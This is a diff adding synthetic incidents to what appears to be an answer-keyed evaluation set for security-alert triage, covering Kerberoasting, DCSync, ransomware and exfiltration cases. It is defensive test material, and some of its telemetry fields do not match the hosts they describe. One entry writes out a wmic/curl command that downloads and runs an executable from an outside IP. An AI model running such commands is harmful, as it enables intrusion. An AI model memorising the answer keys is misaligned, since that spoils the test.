+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-133",
+ "provenance": "synthetic",
+ "title": "Kerberoasting from WIN-EXCHANGE-01",
+ "description": "Service account TGS tickets requested en-masse from WIN-EXCHANGE-01 by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Kerberoasting from WIN-EXCHANGE-01",
+ "severity": "critical",
+ "template_id": "kerberoasting"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "MSSQLSvc/sql.example.com",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-EXCHANGE-01"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "HTTP/web01.example.com",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-EXCHANGE-01"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1558.003",
+ "T1021.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-134",
+ "provenance": "synthetic",
+ "title": "Active Directory DCSync from non-DC host WIN-FIN-DB01",
+ "description": "Replication rights abused from WIN-FIN-DB01 by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Active Directory DCSync from non-DC host WIN-FIN-DB01",
+ "severity": "critical",
+ "template_id": "ad-dcsync"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectServer": "DS",
+ "ObjectType": "domainDNS",
+ "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
+ "ClientIP": "WIN-FIN-DB01"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1003.006",
+ "T1078.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-135",
+ "provenance": "synthetic",
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 45.142.122.111.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "severity": "critical",
+ "template_id": "saml-golden-ticket"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "45.142.122.111",
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Federated",
+ "succeeded": true
+ }
+ ],
+ "tokenIssuerType": "ADFederationServices",
+ "tokenIssuerName": "forged-adfs.example.com"
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Add member to role.",
+ "UserId": "[email protected]",
+ "ModifiedProperties": [
+ {
+ "Name": "Role.DisplayName",
+ "NewValue": "Global Administrator"
+ }
+ ]
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1606.002",
+ "T1087.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-136",
+ "provenance": "synthetic",
+ "title": "Domain enumeration from GCP-GKE-NODE-04",
+ "description": "ldap discovery from GCP-GKE-NODE-04 by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Domain enumeration from GCP-GKE-NODE-04",
+ "severity": "medium",
+ "template_id": "ldap-bloodhound-discovery"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Tools\\SharpHound.exe",
+ "DestinationIp": "WIN-DC-PRIMARY",
+ "DestinationPort": 389,
+ "User": "[email protected]"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectType": "user",
+ "AccessMask": "0x100",
+ "EventCount": 8400
+ }
+ ],
+ "expected_disposition": "benign",
+ "expected_techniques": [
+ "T1087.002"
+ ],
+ "expected_actions": [
+ "monitor",
+ "no_action",
+ "watchlist"
+ ]
+ },
+ {
+ "id": "INC-EVAL-137",
+ "provenance": "synthetic",
+ "title": "Network share enumeration on LIN-EDGE-VPN02",
+ "description": "Mass SMB share enumeration from LIN-EDGE-VPN02 by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Network share enumeration on LIN-EDGE-VPN02",
+ "severity": "medium",
+ "template_id": "smb-share-enumeration"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-EDGE-VPN02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\net.exe",
+ "CommandLine": "net.exe view /domain"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "WIN-FILE-SHARE",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\*",
+ "IpAddress": "LIN-EDGE-VPN02",
+ "EventCount": 256
+ }
+ ],
+ "expected_disposition": "benign",
+ "expected_techniques": [
+ "T1135"
+ ],
+ "expected_actions": [
+ "monitor",
+ "no_action",
+ "watchlist"
+ ]
+ },
+ {
+ "id": "INC-EVAL-138",
+ "provenance": "synthetic",
+ "title": "Pass-the-hash from LIN-DB-REPLICA to MAC-LEGAL-LAPTOP",
+ "description": "Pass-the-hash lateral movement from LIN-DB-REPLICA to MAC-LEGAL-LAPTOP by [email protected]. Golden ticket indicators present. Linked to MagicWeb.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Pass-the-hash from LIN-DB-REPLICA to MAC-LEGAL-LAPTOP",
+ "severity": "critical",
+ "template_id": "pass-the-hash-lateral"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "TargetUserName": "[email protected]",
+ "LogonType": 3,
+ "AuthenticationPackageName": "NTLM",
+ "IpAddress": "LIN-DB-REPLICA",
+ "LogonProcessName": "NtLmSsp"
+ },
+ {
+ "source": "edr",
+ "rule": "Pass-the-hash indicators (NTLM hash reuse)",
+ "severity": "high",
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Source": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "threat_actor": "MagicWeb"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1550.002",
+ "T1558.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-139",
+ "provenance": "synthetic",
+ "title": "RDP lateral movement from WIN-EXCHANGE-01",
+ "description": "Anomalous RDP session from WIN-EXCHANGE-01 ([email protected]) to AWS-EC2-PROD-API outside business hours. Source admin not normal for AWS-EC2-PROD-API.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "RDP lateral movement from WIN-EXCHANGE-01",
+ "severity": "high",
+ "template_id": "rdp-lateral-movement"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "AWS-EC2-PROD-API",
+ "TargetUserName": "[email protected]",
+ "LogonType": 10,
+ "IpAddress": "WIN-EXCHANGE-01",
+ "LogonProcessName": "User32",
+ "EventTimeUTC": "03:14:00Z"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1021.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-140",
+ "provenance": "synthetic",
+ "title": "WMI lateral execution from MAC-CFO-LAPTOP to MAC-LEGAL-LAPTOP",
+ "description": "wmic.exe /node:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command execution; payload from 91.134.231.15.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "WMI lateral execution from MAC-CFO-LAPTOP to MAC-LEGAL-LAPTOP",
+ "severity": "high",
+ "template_id": "wmi-lateral-execution"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-CFO-LAPTOP",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wbem\\wmic.exe",
+ "CommandLine": "wmic /node:MAC-LEGAL-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1047"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-141",
+ "provenance": "synthetic",
+ "title": "Bulk PII download by [email protected]",
+ "description": "[email protected] downloaded >10 GB of customer records from production database from WIN-DC-PRIMARY. Outside normal access pattern.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Bulk PII download by [email protected]",
+ "severity": "critical",
+ "template_id": "bulk-pii-download"
+ },
+ "telemetry": [
+ {
+ "source": "db_audit",
+ "operation": "SELECT",
+ "user": "[email protected]",
+ "src_host": "WIN-DC-PRIMARY",
+ "database": "prod_customers",
+ "table": "customer_records",
+ "rows_returned": 4200000,
+ "bytes": 10700000000
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1005",
+ "T1041"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-142",
+ "provenance": "synthetic",
+ "title": "Clipboard logging implant on WIN-PROD-WEB02",
+ "description": "Clipboard contents from WIN-PROD-WEB02 ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Clipboard logging implant on WIN-PROD-WEB02",
+ "severity": "high",
+ "template_id": "clipboard-keylogger"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 24,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "Hashes": "SHA256=abc..."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1115"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-143",
+ "provenance": "synthetic",
+ "title": "DNS tunnelling exfiltration from WIN-DC-PRIMARY",
+ "description": "DNS query volume from WIN-DC-PRIMARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 198.51.100.23.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "DNS tunnelling exfiltration from WIN-DC-PRIMARY",
+ "severity": "critical",
+ "template_id": "dns-tunnel-exfil"
+ },
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "aGVsbG8gd29ybGQK.exfil.198.51.100.23.in-addr.arpa",
+ "query_type": "TXT",
+ "src_host": "WIN-DC-PRIMARY",
+ "dst_ip": "198.51.100.23",
+ "response_size": 512,
+ "qps": 240
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1071.004",
+ "T1048.003"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-144",
+ "provenance": "synthetic",
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-PROD-WEB02",
+ "description": "Egress from WIN-PROD-WEB02 to s3://atk-stage-185.220.101.7/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-PROD-WEB02",
+ "severity": "critical",
+ "template_id": "s3-exfil-cloud-storage"
+ },
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutObject",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "sourceIPAddress": "WIN-PROD-WEB02",
+ "requestParameters": {
+ "bucketName": "atk-stage-185.220.101.7",
+ "key": "dump/customers.tar.gz"
+ },
+ "resources": [
+ {
+ "ARN": "arn:aws:s3:::atk-stage-185.220.101.7/dump/customers.tar.gz"
+ }
+ ]
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1567.002"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-145",
+ "provenance": "synthetic",
+ "title": "Personal Drive exfil by [email protected]",
+ "description": "[email protected] on AWS-EC2-PROD-API uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Personal Drive exfil by [email protected]",
+ "severity": "critical",
+ "template_id": "personal-drive-exfil"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://www.googleapis.com/upload/drive/v3/files",
+ "status_code": 200,
+ "src_host": "AWS-EC2-PROD-API",
+ "src_user": "[email protected]",
+ "bytes_out": 4300000000,
+ "file_count": 812
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1567.002",
+ "T1005"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-146",
+ "provenance": "synthetic",
+ "title": "DGA-based C2 traffic from GCP-GKE-NODE-04",
+ "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 45.142.122.111.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "DGA-based C2 traffic from GCP-GKE-NODE-04",
+ "severity": "high",
+ "template_id": "dga-c2"
+ },
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "qkz3pl4vnxq2.com",
+ "query_type": "A",
+ "src_host": "GCP-GKE-NODE-04",
+ "rcode": "NXDOMAIN",
+ "qps_above_baseline": 50.0
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "45.142.122.111",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "threat_actor": "Scattered Spider"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1568.002"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-147",
+ "provenance": "synthetic",
+ "title": "HTTPS C2 beacon from WIN-DEVOPS-LT to 198.51.100.23",
+ "description": "Periodic HTTPS beacon from WIN-DEVOPS-LT to 198.51.100.23 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "HTTPS C2 beacon from WIN-DEVOPS-LT to 198.51.100.23",
+ "severity": "critical",
+ "template_id": "https-c2-beacon"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-DEVOPS-LT",
+ "DestinationIp": "198.51.100.23",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1",
+ "interval_secs": 60,
+ "jitter_pct": 2
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1071.001"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-148",
+ "provenance": "synthetic",
+ "title": "Ransomware encryption in progress on LIN-DB-REPLICA",
+ "description": "Mass file rename observed on LIN-DB-REPLICA ([email protected]); ..enc extension applied to ~20 k files. Ransomware note R3ADM3-Emotet epoch 5.txt found.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Ransomware encryption in progress on LIN-DB-REPLICA",
+ "severity": "critical",
+ "template_id": "ransomware-encryption"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "LIN-DB-REPLICA",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.enc",
+ "User": "[email protected]",
+ "rename_rate_per_min": 4200
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "LIN-DB-REPLICA",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-Emotet epoch 5.txt",
+ "User": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "Ransomware behaviour: high-rate file rename + ransom note",
+ "severity": "critical",
+ "Computer": "LIN-DB-REPLICA",
+ "threat_actor": "Emotet epoch 5"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1486"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-149",
+ "provenance": "synthetic",
+ "title": "Cryptominer execution on MAC-LEGAL-LAPTOP",
+ "description": "XMRig miner spawned on MAC-LEGAL-LAPTOP; CPU saturated to 95%. Mining pool 10.0.99.42:5555. Linked to APT28.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Cryptominer execution on MAC-LEGAL-LAPTOP",
+ "severity": "medium",
+ "template_id": "xmrig-cryptominer"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/xmrig",
+ "a0": "xmrig",
+ "a1": "-o",
+ "a2": "10.0.99.42:5555",
+ "hostname": "MAC-LEGAL-LAPTOP",
+ "cpu_pct": 95
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1496"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-150",
+ "provenance": "synthetic",
+ "title": "BEC: payment redirect by [email protected]",
+ "description": "Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by [email protected] from WIN-FILE-SHARE to threat-actor account. Linked to APT29.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "BEC: payment redirect by [email protected]",
+ "severity": "critical",
+ "template_id": "bec-wire-fraud"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "WIN-FILE-SHARE",
+ "Subject": "URGENT: Wire instructions from CFO",
+ "From": "[email protected]",
+ "ReplyTo": "[email protected]",
+ "threat_actor": "APT29"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1566.001",
+ "T1657"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-151",
+ "provenance": "synthetic",
+ "title": "Public S3 bucket exposing PII",
+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Public S3 bucket exposing PII",
+ "severity": "critical",
+ "template_id": "public-s3-bucket-pii"
+ },
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutBucketAcl",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "AccessControlPolicy": {
+ "Grants": [
+ {
+ "Grantee": "AllUsers",
+ "Permission": "READ"
+ }
+ ]
+ }
+ }
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "ListObjectsV2",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "91.134.231.15",
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "max-keys": 1000
+ },
+ "userIdentity": {
+ "type": "AnonymousUser"
+ }
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1530",
+ "T1567.002"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-152",
+ "provenance": "synthetic",
+ "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
+ "description": "Successful Azure AD sign-in for [email protected] from 91.134.231.15 (impossible-travel from prior location). MFA satisfied via stolen session token.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
+ "severity": "critical",
+ "template_id": "azure-ad-impossible-travel"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "location": {
+ "city": "Vladivostok",
+ "countryOrRegion": "RU"
+ },
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Previously satisfied",
+ "succeeded": true
+ }
+ ],
+ "riskEventTypes": [
+ "unfamiliarFeatures",
+ "unlikelyTravel"
+ ],
+ "riskLevelAggregated": "high"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1078.004",
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-153",
+ "provenance": "synthetic",
+ "title": "DDoS volumetric flood targeting public-facing MAC-CFO-LAPTOP",
+ "description": "L4 SYN flood from a botnet (>1M PPS) targeting MAC-CFO-LAPTOP. Edge mitigation engaged but service degraded for 12 minutes.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "DDoS volumetric flood targeting public-facing MAC-CFO-LAPTOP",
+ "severity": "high",
+ "template_id": "ddos-syn-flood"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://MAC-CFO-LAPTOP/",
+ "status_code": 503,
+ "pps": 1120000,
+ "packet_type": "TCP-SYN",
+ "edge_mitigation": "engaged",
+ "duration_secs": 720
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1498.001"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-154",
+ "provenance": "synthetic",
+ "title": "Insider preparing departure: large mailbox export by [email protected]",
+ "description": "[email protected] exported full mailbox PST (8 GB) from WIN-EXCHANGE-01. HR flag: notice given last week.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Insider preparing departure: large mailbox export by [email protected]",
+ "severity": "high",
+ "template_id": "insider-mailbox-export"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-MailboxExportRequest",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Mailbox": "[email protected]",
+ "FilePath": "\\\\WIN-EXCHANGE-01\\export\\[email protected]"
+ },
+ "Bytes": 8300000000
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1114.002",
+ "T1567.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-155",
+ "provenance": "synthetic",
+ "title": "Malicious Office add-in installed for [email protected]",
+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; beacons to 45.142.122.111.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious Office add-in installed for [email protected]",
+ "severity": "high",
+ "template_id": "office-vsto-addin"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "WIN-DC-SECONDARY",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater",
+ "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-DC-SECONDARY",
+ "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",
+ "DestinationIp": "45.142.122.111",
+ "DestinationPort": 443
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1137.006",
+ "T1071.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-156",
+ "provenance": "synthetic",
+ "title": "GitHub PAT leaked and abused from 45.142.122.111",
+ "description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "GitHub PAT leaked and abused from 45.142.122.111",
+ "severity": "critical",
+ "template_id": "github-pat-leak"
+ },
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "git.clone",
+ "actor": "[email protected]",
+ "actor_ip": "45.142.122.111",
+ "repo_count": 14,
+ "programmatic_access_type": "personal_access_token",
+ "user_agent": "git/2.40.0"
+ },
+ {
+ "source": "github_audit",
+ "action": "push",
+ "actor": "[email protected]",
+ "repo": "[email protected]/dotfiles",
+ "visibility": "public",
+ "file_changed": ".env",
+ "secret_detected": "github_pat_*"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1552.001",
+ "T1213.003"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-157",
+ "provenance": "synthetic",
+ "title": "EC2 instance metadata service abused on WIN-PROD-WEB02",
+ "description": "IMDSv1 abused on WIN-PROD-WEB02; temporary IAM credentials for role exfilled to 91.134.231.15. CloudTrail shows AssumeRole from external.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "EC2 instance metadata service abused on WIN-PROD-WEB02",
+ "severity": "critical",
+ "template_id": "ec2-imds-credential-theft"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app",
+ "status_code": 200,
+ "src_host": "WIN-PROD-WEB02",
+ "imds_version": "v1"
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "AssumeRole",
+ "eventSource": "sts.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "91.134.231.15",
+ "userIdentity": {
+ "type": "AssumedRole",
+ "principalId": "AIDA:role-app",
+ "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"
+ },
+ "userAgent": "aws-cli/2.13"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1552.005",
+ "T1078.004"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-158",
+ "provenance": "synthetic",
